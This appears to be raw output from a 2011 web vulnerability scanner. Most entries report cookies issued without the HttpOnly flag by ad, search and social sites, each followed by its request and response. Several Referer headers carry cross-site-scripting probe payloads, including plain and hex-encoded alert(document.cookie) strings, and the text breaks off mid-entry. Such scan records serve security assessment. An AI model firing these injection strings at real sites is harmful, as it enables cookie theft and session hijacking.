HTTP/1.1 403 Forbidden Date: Wed, 19 Jan 2011 18:09:06 GMT Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch Last-Modified: Sun, 08 Nov 2009 05:58:15 GMT ETag: "9fe-477d5c34a2bc0" Accept-Ranges: bytes Content-Length: 2558 Vary: Accept-Encoding Connection: close Content-Type: text/html Set-Cookie: SERVERID=i-15e5bf7e; path=/ Cache-control: private
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
The following cookie was issued by the application and does not have the HttpOnly flag set:
SERVERID=i-3f76e457; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /2011/01/articles/legal-news-lexblogosphere/best-in-law-blogs-the-lexblog-network-january-5-2011/ HTTP/1.1 Host: kevin.lexblog.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:09:08 GMT Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch Last-Modified: Tue, 18 Jan 2011 21:15:25 GMT Accept-Ranges: bytes Vary: Accept-Encoding Connection: close Content-Type: text/html Set-Cookie: SERVERID=i-3f76e457; path=/ Cache-control: private Content-Length: 134763
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /event-log-analysis-sm/ HTTP/1.1 Host: landesm.gfi.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <META http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Event log analysis & management</title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /load/?p=235&g=001&ctg=Attorneys+%26+Lawyers%3a+General+Practice&cat=business_professional_services&state=TX&city=Dallas&kw=law+offices HTTP/1.1 Host: loadus.exelator.com Proxy-Connection: keep-alive Referer: http://www.local.com/results.aspx?keyword=law+offices&CID=2531/x22b7005%22style%3d%22x%3aexpression(alert(document.cookie))%22e433a090613 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: xltl=eJxLtDK0qi62MrZSCvV0UbIGsoyslEwSE02STSwtzRPNU03MkiwsktMMUpItzCzSkgwtTFMNlKxrAa8pD0k%253D; myPAL=eJxLtDK2qs60MrAutjIyt1IyNDGzVLa0tDRUNjQwUTYwM1AOATJ8gSJGStaZVoYgZWYgZeamUGXmBsoGBoZAZeYGMFVGcMPgqjANqwUAip0atg%253D%253D; BFF=eJxLtDKxqi62MjSwUgoxNDDxdbC0tDRSss60MjQxN7UGShhbKfn6%252B4V4%252BETGh3kGe4YoWSdameLSYmYJ1GIKFUcSQlFrjCRhCRI3N0C31QQiDBepxW4EWC1WI2oBnuw0eQ%253D%253D; TFF=eJyNj7ENgDAMBHdhgncIsew0GYM2RQokOugQu2MoKAKIFNa7uHvps4pui5LTjuATApKIuC5mdbpNStHO82CB6w0S9wdPJ99XvLPrK49vrc2whG%252FvLmOZ81q%252Buv3bCkYC6Ge1vU%252F%252BczVVHt9am2HJaCL3AyAZcuM%253D
Response
HTTP/1.1 200 OK X-Cnection: close X-Powered-By: PHP/5.2.1 P3P: policyref=/w3c/p3p.xml, CP=NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA Content-Type: application/x-javascript Set-Cookie: myPAL=eJxtzDELwjAQhuH%252Fklsz3KXXnHeZKqEgmIKSwdWxs6P4302K7eT28fHwPo3tvRqmlwUxRxwVVJWAkAEjQm2jtCe4tBp1FjuT8ccEAZEaE9xVOGKH%252BhcbGuONnbAz9hoEWSAM49bM07X4fFuqz5dl9vfy8NO5uvT5AjLyKFk%253D; expires=Sun, 20-Mar-2011 17:54:38 GMT; path=/; domain=.exelator.com Set-Cookie: BFF=eJyVkL0OwiAURt%252BFJ%252BCvxQtLa4yRpGBUYnRqOjo7mr67UNQgwuDCcL5zw73fJAmWj3t4kSOYmw4AKFI3SbholA%252BYRGZv3W64jmd90g6pSZK2NtOCn2lePEFfLksCCFzg%252FFsecUK8uOmHZZ5HvMJRDDghQTxYVxI9zkRttyXR44SE5Y%252Fm0hG%252FuqBJwBZeMIEKzEUW9Gv3G7CFf8BcrurdQKmqSjGVGipHV0%252F896L5CWF7jv0%253D; expires=Thu, 19-May-2011 17:54:38 GMT; path=/; domain=.exelator.com Set-Cookie: TFF=eJyNkDEOwjAMRe%252FSE9hOUmN36TFYM2RAYoOt6t1xKiiQEuEhshW9Z%252BcnKyZdboqkA0KcYYRZRGiYspIuF8XJTuRkBbZ2lGk98Fj50PBkJzQe75rPsArRP7ucyzXfSzP7BE%252FjZwqGGQD%252FpLb2yHdTY%252BPxrvkMqwzO2fVNFFIvw5YdXm3l45tHkcDU%252By1sze9N0e19bBRiiOw1eRd9ht2F5CLXB0IDwOU%253D; expires=Thu, 19-May-2011 17:54:38 GMT; path=/; domain=.exelator.com Set-Cookie: EVX=deleted; expires=Tue, 19-Jan-2010 17:54:37 GMT; path=/; domain=load.exelator.com Set-Cookie: EVX=deleted; expires=Tue, 19-Jan-2010 17:54:37 GMT; path=/; domain=loadus.exelator.com Set-Cookie: EVX=eJxLtDK0qs60sjQyNzAxt06E8Aysi60MLayUDE0sDOLN442MTeMNDAzjjeMNlaxrawFa8Q1j; expires=Thu, 19-May-2011 17:54:38 GMT; path=/; domain=.exelator.com Date: Wed, 19 Jan 2011 17:54:38 GMT Server: HTTP server Content-Length: 1256
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /DC/Washington/Legal+Financial+Services/Law+Firms/All+Law+Firms/x22 HTTP/1.1 Host: local.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 FOUND Date: Wed, 19 Jan 2011 15:23:53 GMT Set-Cookie: B=cm7m4g16je0g9&b=3&s=2g; expires=Tue, 19-Jan-2013 20:00:00 GMT; path=/; domain=.yahoo.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" Location: http://local.yahoo.com/results?csz=Washington+DC&stx=Legal+Financial+Services+Law+Firms+All+Law+Firms+x22 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Cache-Control: private Content-Length: 82
<!-- web13.ls.re3.yahoo.com uncompressed/chunked Wed Jan 19 07:23:53 PST 2011 -->
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /DC/Washington/Legal+Financial+Services/Law+Firms/x26amp;rct\\x3dj\\x26amp;sa\\x3dX\\x26amp;ei\\x3dX_42TZfgHsqs8AagyvTEAw\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CIQBEOkFKAE\\x26amp;q\\x3dwashington+dc+law+offices\\x26amp;usg\\x3dAFQjCNG2bd7egW32iYLbNt8WJiZjokM9cg\\x22\\x3eLaw HTTP/1.1 Host: local.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 FOUND Date: Wed, 19 Jan 2011 15:23:53 GMT Set-Cookie: B=c7hhevt6je0g9&b=3&s=dt; expires=Tue, 19-Jan-2013 20:00:00 GMT; path=/; domain=.yahoo.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" Location: http://local.yahoo.com/results?csz=Washington+DC&stx=Legal+Financial+Services+Law+Firms+x26amp%3Brct%5C%5Cx3dj%5C%5Cx26amp%3Bsa%5C%5Cx3dX%5C%5Cx26amp%3Bei%5C%5Cx3dX_42TZfgHsqs8AagyvTEAw%5C%5Cx26amp%3Bsqi%5C%5Cx3d2%5C%5Cx26amp%3Bved%5C%5Cx3d0CIQBEOkFKAE%5C%5Cx26amp%3Bq%5C%5Cx3dwashington+dc+law+offices%5C%5Cx26amp%3Busg%5C%5Cx3dAFQjCNG2bd7egW32iYLbNt8WJiZjokM9cg%5C%5Cx22%5C%5Cx3eLaw Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Cache-Control: private Content-Length: 81
<!-- web1.ls.re3.yahoo.com uncompressed/chunked Wed Jan 19 07:23:53 PST 2011 -->
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /DC/Washington/Legal+Financial+Services/x26amp HTTP/1.1 Host: local.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 FOUND Date: Wed, 19 Jan 2011 15:23:55 GMT Set-Cookie: B=a4e6fs56je0gb&b=3&s=4v; expires=Tue, 19-Jan-2013 20:00:00 GMT; path=/; domain=.yahoo.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" Location: http://local.yahoo.com/results?csz=Washington+DC&stx=Legal+Financial+Services+x26amp Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Cache-Control: private Content-Length: 81
<!-- web2.ls.re3.yahoo.com uncompressed/chunked Wed Jan 19 07:23:55 PST 2011 -->
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /config/login HTTP/1.1 Host: login.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:09:20 GMT Set-Cookie: B=5u97cop6jea6g&b=3&s=jo; expires=Tue, 19-Jan-2013 20:00:00 GMT; path=/; domain=.yahoo.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" X-Frame-Options: DENY Cache-Control: private Connection: close Content-Type: text/html Content-Length: 41558
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Sign in ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /g.lt?nvst=12596&nvtt=z&nvup=1 HTTP/1.1 Host: lt.navegg.com Proxy-Connection: keep-alive Referer: http://rafael.adm.br/?ffb7d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E21b58676d82=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK P3P: CP='CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR' Set-Cookie: ltcid=547362597; path=/; domain=.navegg.com; expires=Wed, 19-Jan-2013 11:57:37 GMT Set-Cookie: inf= ; path=/; domain=.navegg.com; expires=Wed, 19-Jan-2011 15:57:37 GMT Content-type: application/javascript Date: Wed, 19 Jan 2011 17:57:37 GMT Server: lighttpd/1.4.19 Content-Length: 43
The following cookie was issued by the application and does not have the HttpOnly flag set:
lsd=FZCCx; path=/; domain=.facebook.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /logout.php?confirm=1&r= HTTP/1.1 Host: m.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT Location: http://m.facebook.com/index.php?eu=6sinbSawgdrtjUBFpZJRIA P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=FZCCx; path=/; domain=.facebook.com Content-Type: text/html; charset=utf-8 Connection: close Date: Wed, 19 Jan 2011 18:09:29 GMT Content-Length: 0
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /maps HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /maps/place HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
s_vi=[CS]v1|269B81578514AD15-60000169A0247D25[CE]; Expires=Mon, 18 Jan 2016 15:26:39 GMT; Domain=.yellowpages.com; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The following cookie was issued by the application and does not have the HttpOnly flag set:
s_vi=[CS]v1|269B8437051D2078-6000010B20054392[CE]; Expires=Mon, 18 Jan 2016 15:51:10 GMT; Domain=.csmonitor.com; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The following cookie was issued by the application and does not have the HttpOnly flag set:
mochiGUID=f79e0325e97786aab00c1558d7bf9f04; Version=1; Expires=Thu, 19 Jan 2012 15:08:58 GMT; Max-Age=31536000
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
POST /mochiSWF HTTP/1.1 Host: mochibot.com Proxy-Connection: keep-alive Referer: http://www.cov.com/FCWSite/swfs/covhome_new.swf content-type: application/x-www-form-urlencoded Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Content-Length: 796
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/ HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 403 Forbidden Date: Wed, 19 Jan 2011 18:12:33 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 308 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e2f45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /RealMedia/ads/ on this server.</p> ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/adstream_mjx.ads/vault.com/index/1488314048@Top,Middle,Bottom,Middle1,Middle2,x01?NI_feature=index&NI_parentIndustryId=28&NI_parentIndustryId=10 HTTP/1.1 Host: oasc10006.247realmedia.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW8003BLsABpSl; NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:01:19 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4473 Content-Type: application/x-javascript Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5045525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Bottom') { document.write ('\n'); document.write ('\n'); document.write ('\n'); document.write ('\n'); document.write ('<script type="text/javascript">\n ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /RealMedia/ads/adstream_mjx.ads/vault.com/index/1784840526@Top,Middle,Bottom,Middle1,Middle2,x01?NI_feature=index&NI_parentIndustryId=28&NI_parentIndustryId=10 HTTP/1.1 Host: oasc10006.247realmedia.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(document.cookie)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:35:23 GMT Server: Apache/2.2.3 (Red Hat) Set-Cookie: OAX=rcHW8003BLsABpSl; expires=Thu, 31-Dec-2020 23:59:59 GMT; path=/; domain=.247realmedia.com P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 2525 Content-Type: application/x-javascript Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Bottom') { document.write ('<A HREF="http://oasc10006.247realmedia.com/RealMedia/ads/click_lx.ads/vault.com/index/L-15/1539380947/Bottom/Vault20/Orrick_V ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/adstream_mjx.ads/vault.com/index/1905705208@Top,Middle,Bottom,Middle1,Middle2,x01?NI_feature=index&NI_parentIndustryId=28&NI_parentIndustryId=10 HTTP/1.1 Host: oasc10006.247realmedia.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankingsf6c40'%3balert(%2564%256F%2563%2575%256D%2565%256E%2574%252E%2563%256F%256F%256B%2569%2565)//dba4d06d54c/individual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW8003BLsABpSl; NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:01:19 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 2527 Content-Type: application/x-javascript Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5345525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Bottom') { document.write ('<A HREF="http://oasc10006.247realmedia.com/RealMedia/ads/click_lx.ads/vault.com/index/L-15/1485213300/Bottom/Vault20/MayerBro ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/adstream_mjx.ads/vault.com/login/forgot/1919391660@Top,Middle,Bottom,Middle1,Middle2,x01?NI_feature=login&NI_page=forgot HTTP/1.1 Host: oasc10006.247realmedia.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/!ut/p/c5/dY09D4IwGIR_0r3lhTaMfiEgIKaDtgspiSEoUgdj4r8X4uLC3XjP3cFi8ujefedevR_dgAusbKSIK63SgPY6ZMpKwQnXh2DHCjlsN_h2Jtc4z_U__HjiLWWkq5JlVHAhfjktaEWoUv-4wsCoxdNcThthltRxpMKpFUDDbPC8t3RTH_oCnk3SHg!!/?mode=&redirecturl=%2fwps%2fmyportal%2fusa%2frankingsf6c40'%3balert(document.cookie)%2f%2fdba4d06d54c%2findividual Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW8003BLsABpSl; NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:01:24 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 2408 Content-Type: application/x-javascript Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5245525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Bottom') { document.write ('<A HREF="http://oasc10006.247realmedia.com/RealMedia/ads/click_lx.ads/vault.com/login/forgot/900674834/Bottom/default/empty.g ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/adstream_mjx.ads/vault.com/rankings/0/363/2/1623326908@Top,Middle,Bottom,Middle1,Middle2,x01?NI_feature=rankings&NI_page=rankingsoneindustry&NI_industry=363&NI_parentIndustryId=28&NI_rankingId=2&NI_rankingId=1 HTTP/1.1 Host: oasc10006.247realmedia.com Proxy-Connection: keep-alive Referer: http://www.vault.com/wps/portal/usa/rankings/individual?rankingId1=2&rankingId2=-1fa29d%22%3E%3Cscript%3Ealert(1)%3C/script%3E5276a27416&rankings=1®ionId=0/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW8003BLsABpSl; NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:01:24 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 4539 Content-Type: application/x-javascript Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5045525d5f4f58455e445a4a423660;path=/
function OAS_RICH(position) { if (position == 'Bottom') { document.write ('<A HREF="http://oasc10006.247realmedia.com/RealMedia/ads/click_lx.ads/vault.com/rankings/0/363/2/L9/767187808/Bottom/Vault20/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/vault.com/index/1203426004/Middle1/default/empty.gif/7263485738303033424c73414270536c;zip=US:20026?x HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:10:56 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 283 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e2e45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.2 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/vault.com/index/1265637725/Middle1/default/empty.gif/7263485738303033424c73414270536c;zip=US:20026?x HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:10:39 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 283 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e5245525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.2 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/vault.com/index/1499175543/Middle2/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Wed, 19 Jan 2011 18:11:15 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http:// Content-Length: 283 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d10efm_qppm_iuuq=ffffffff09499e2f45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://">here</a>.</p> <hr> <address>Apache/2.2 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/vault.com/index/1573042006/x01/default/empty.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc10006.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d10efm_qppm_iuuq=ffffffff09419e4b45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
